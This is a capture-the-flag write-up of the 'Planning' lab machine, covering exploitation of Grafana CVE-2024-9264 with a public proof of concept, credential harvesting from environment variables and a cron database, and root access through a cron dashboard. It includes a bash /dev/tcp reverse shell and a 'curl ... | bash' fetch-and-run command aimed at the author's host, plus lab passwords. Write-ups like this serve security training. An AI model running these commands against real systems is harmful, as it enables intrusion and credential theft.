13 September 2025

Planning

by 0xW1LD

Planning Box Icon

Information Gathering

Before we start with an nmap scan, let’s note down that this is an assumed breach scenario and that we’re given the following credentials:

admin:0D5oT70Fq13EvB5r

So now let’s start off with an nmap scan.

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62fff6d4578805adf4d3de5b9bf850f1 (ECDSA)
|_  256 4cce7d5cfb2da09e9fbdf55c5e61508a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the scan we can see two ports open.

Edukate Website

If we visit the website running we’re greeted with Edukate, what looks to be an educational website. Edukate home page

Looking around we don’t find anything interesting just yet, however while fuzzing we can find Grafana.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[May 11, 2025 - 08:08:55 (AEST)] exegol-nightly planning # ffuf -w `fzf-wordlists` -u http://planning.htb -H "HOST: FUZZ.planning.htb" -fc 301

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb
 :: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 303ms]

So let’s add it to our /etc/hosts file and take a look.

Grafana

When visiting grafana.planning.htb we’re redirected to /login and are greeted with a login page. Grafana login

Attempting to login with the assumed breach credentials, we get a login!

Grafana dashboard

Clicking on the question mark icon on the top right corner, we can find the specific version of Grafana being used.

Grafana version

Foothold

Looking around online we can find CVE-2024-9264 which is an authenticated file read and remote code execution vulnerability. We can find a Poc already written for this CVE.

Before we inject any commands let’s first run the PoC to see if the site is vulnerable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[May 11, 2025 - 08:21:02 (AEST)] exegol-nightly planning # python3 grafana.py -u admin -p 0D5oT70Fq13EvB5r http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Success! The PoC offers an alternative argument -c for executing remote commands. Let’s use a reverse shell by doing the following:

Let’s start a listener on our machine.

1
2
3
4
[May 11, 2025 - 08:26:36 (AEST)] exegol-nightly planning # nc -lvnp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337

Let’s write a shell file with our bash payload.

1
[May 11, 2025 - 08:25:18 (AEST)] exegol-nightly planning # echo 'bash -i >& /dev/tcp/10.10.14.158/1337 0>&1' >> shell

Serve this shell file using a python webserver.

1
2
[May 11, 2025 - 08:25:44 (AEST)] exegol-nightly planning # python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Run the exploit to grab our shell and pipe it into bash

1
2
3
4
[May 11, 2025 - 08:25:08 (AEST)] exegol-nightly planning # python3 grafana.py -u admin -p 0D5oT70Fq13EvB5r http://grafana.planning.htb -c "curl 10.10.14.158/shell | bash"
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: curl 10.10.14.158/shell | bash
⠏ Running duckdb query

We get a call-back to our listener!

1
2
3
4
5
Ncat: Connection from 10.129.241.200.
Ncat: Connection from 10.129.241.200:43144.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~#

User

Looking around we notice that we’re in a docker environment through the presence of .dockerenv in the root directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@7ce659d667d7:/# ls -la
ls -la
total 60
drwxr-xr-x   1 root root 4096 Apr  4 10:23 .
drwxr-xr-x   1 root root 4096 Apr  4 10:23 ..
-rwxr-xr-x   1 root root    0 Apr  4 10:23 .dockerenv
lrwxrwxrwx   1 root root    7 Apr 27  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
drwxr-xr-x   5 root root  340 May 10 19:23 dev
drwxr-xr-x   1 root root 4096 Apr  4 10:23 etc
drwxr-xr-x   1 root root 4096 May 14  2024 home
lrwxrwxrwx   1 root root    7 Apr 27  2024 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Apr 27  2024 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Apr 27  2024 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Apr 27  2024 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Apr 27  2024 media
drwxr-xr-x   2 root root 4096 Apr 27  2024 mnt
drwxr-xr-x   2 root root 4096 Apr 27  2024 opt
dr-xr-xr-x 287 root root    0 May 10 19:23 proc
drwx------   1 root root 4096 Apr  4 12:43 root
drwxr-xr-x   5 root root 4096 Apr 27  2024 run
-rwxr-xr-x   1 root root 3306 May 14  2024 run.sh
lrwxrwxrwx   1 root root    8 Apr 27  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Apr 27  2024 srv
dr-xr-xr-x  13 root root    0 May 10 19:23 sys
drwxrwxrwt   1 root root 4096 May 10 22:24 tmp
drwxr-xr-x   1 root root 4096 Apr 27  2024 usr
drwxr-xr-x   1 root root 4096 Apr 27  2024 var

If we take a look at our env we can see cleartext Grafana credentials for the user enzo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@7ce659d667d7:/# env
env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
OLDPWD=/usr/share/grafana

enzo:RioTecRANDEntANT!

Checking for password reuse through ssh we find we can login as enzo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[May 11, 2025 - 08:32:21 (AEST)] exegol-nightly planning # ssh enzo@planning.htb
enzo@planning.htb's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat May 10 10:32:29 PM UTC 2025

  System load:           0.01
  Usage of /:            65.2% of 6.30GB
  Memory usage:          41%
  Swap usage:            0%
  Processes:             234
  Users logged in:       0
  IPv4 address for eth0: 10.129.241.200
  IPv6 address for eth0: dead:beef::250:56ff:feb0:4530


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: Sat May 10 22:32:31 2025 from 10.10.14.158
enzo@planning:~$

Just like that we have user!

1
2
3
4
5
6
7
8
9
10
11
enzo@planning:~$ ls -la
total 32
drwxr-x--- 4 enzo enzo 4096 Apr  3 13:49 .
drwxr-xr-x 3 root root 4096 Feb 28 16:22 ..
lrwxrwxrwx 1 root root    9 Feb 28 20:42 .bash_history -> /dev/null
-rw-r--r-- 1 enzo enzo  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 enzo enzo 3771 Mar 31  2024 .bashrc
drwx------ 2 enzo enzo 4096 Apr  3 13:49 .cache
-rw-r--r-- 1 enzo enzo  807 Mar 31  2024 .profile
drwx------ 2 enzo enzo 4096 Feb 28 16:22 .ssh
-rw-r----- 1 root enzo   33 May 10 19:24 user.txt

Root

Taking a look at internally open ports we find port 8000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
enzo@planning:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:35893         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.54:53           0.0.0.0:*                           -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Let’s forward the port, we can do this using ssh like so: Type ~C in the terminal

Enter the following command:

1
2
ssh> -L 8000:127.0.0.1:8000
Forwarding port.

The ~C trick only works if the EnableEscapeCommandline option is set to true in our .ssh/config or via the option parameter -o

Visiting the site we’re greeted by basic auth.

Basic Auth

Neither of the credentials we have work, so looking around we find an interesting file crontab.db

1
2
3
4
5
enzo@planning:/opt/crontabs$ ls -la
total 12
drwxr-xr-x 2 root root 4096 May 10 19:23 .
drwxr-xr-x 4 root root 4096 Feb 28 19:21 ..
-rw-r--r-- 1 root root  737 May 10 22:47 crontab.db

Checking for the file type it’s a json file so let’s cat it out and use jq to display it neatly.

1
2
enzo@planning:/opt/crontabs$ file crontab.db
crontab.db: New Line Delimited JSON text data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
enzo@planning:/opt/crontabs$ cat crontab.db | jq
{
  "name": "Grafana backup",
  "command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
  "schedule": "@daily",
  "stopped": false,
  "timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740774983276,
  "saved": false,
  "_id": "GTI22PpoJNtRKg0W"
}
{
  "name": "Cleanup",
  "command": "/root/scripts/cleanup.sh",
  "schedule": "* * * * *",
  "stopped": false,
  "timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
  "logging": "false",
  "mailing": {},
  "created": 1740849309992,
  "saved": false,
  "_id": "gNIRXh1WIc9K7BYX"
}

We find the following credentials.

root:P4ssw0rdS0pRi0T3c

Trying them out against the basic authentication we get logged in! We’re greeted by a Cronjobs UI dashboard.

Crojobs UI

Let’s add a new cronjob that executes a reverse shell towards our machine, we can use the same technique we did before to get a reverse shell.

Reverse Shell Cronjob

To expedite the process we can also click the Run Now button to run the cronjob now.

Run Now

We get a callback on our listener!

1
2
3
4
5
6
7
8
9
[May 11, 2025 - 08:52:58 (AEST)] exegol-nightly planning # nc -lvnp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.241.200.
Ncat: Connection from 10.129.241.200:47530.
bash: cannot set terminal process group (1436): Inappropriate ioctl for device
bash: no job control in this shell
root@planning:/#

Just like that we have root!

1
2
3
4
5
root@planning:~# ls -l
ls -l
total 8
-rw-r----- 1 root root   33 May 10 19:24 root.txt
drwxr-xr-x 2 root root 4096 Apr  3 12:54 scripts

Beyond Root

Foothold PoC

Taking a look at the PoC the most interesting function, which is the function that exploits the main vulnerability, is the run_query function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
@inform("Running duckdb query")
def run_query(session: ScopedSession, query: str) -> Optional[List[Any]]:
    path = "/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101"
    data = {
        "from": "1729313027261",
        "queries": [
            {
                "datasource": {
                    "name": "Expression",
                    "type": "__expr__",
                    "uid": "__expr__",
                },
                "expression": query,
                "hide": False,
                "refId": "B",
                "type": "sql",
                "window": "",
            }
        ],
        "to": "1729334627261",
    }

    res = session.post(path, json=data)
    data = cast(Dict, res.json())

    # Check for DuckDB not found error
    if "results" in data and "B" in data["results"]:
        result = data["results"]["B"]
        if "error" in result and "no such file or directory" in result["error"]:
            failure("DuckDB is not installed on the target system. This exploit requires DuckDB to be present in the system PATH.")
            return None

    if data.get("message"):
        msg_failure("Received unexpected response:")
        msg_failure(json.encode(data, indent=4))  # prettify json
        return None

    try:
        values = data["results"]["B"]["frames"][0]["data"]["values"]
        values = cast(List, values)
        if len(values) == 0:
            failure("File not found")
            return None

        msg_success("Successfully ran duckdb query:")
        msg_success(f"{query}:")
        return values
    except (KeyError, IndexError):
        msg_failure("Unexpected response format:")
        msg_failure(json.encode(data, indent=4))
        return None

We can see that it makes a json POST request to an api endpoints called ds/query, ds stands for datasource and so the vulnerability is running a query against the datasource endpoint. Here’s the documentation.

We can see that the exploit uses the query in the expression value of the POST request. The way the exploit extracts files is not actually an SQLi but simply an SQL query that reads the file. Similarly the way it runs command is through SQL command injection and not any actual SQLi.

Also learned about the ten library from this PoC which, looking at it, is a really good web exploitation library, so I definitely recommend to check it out.

tags: os/linux - diff/easy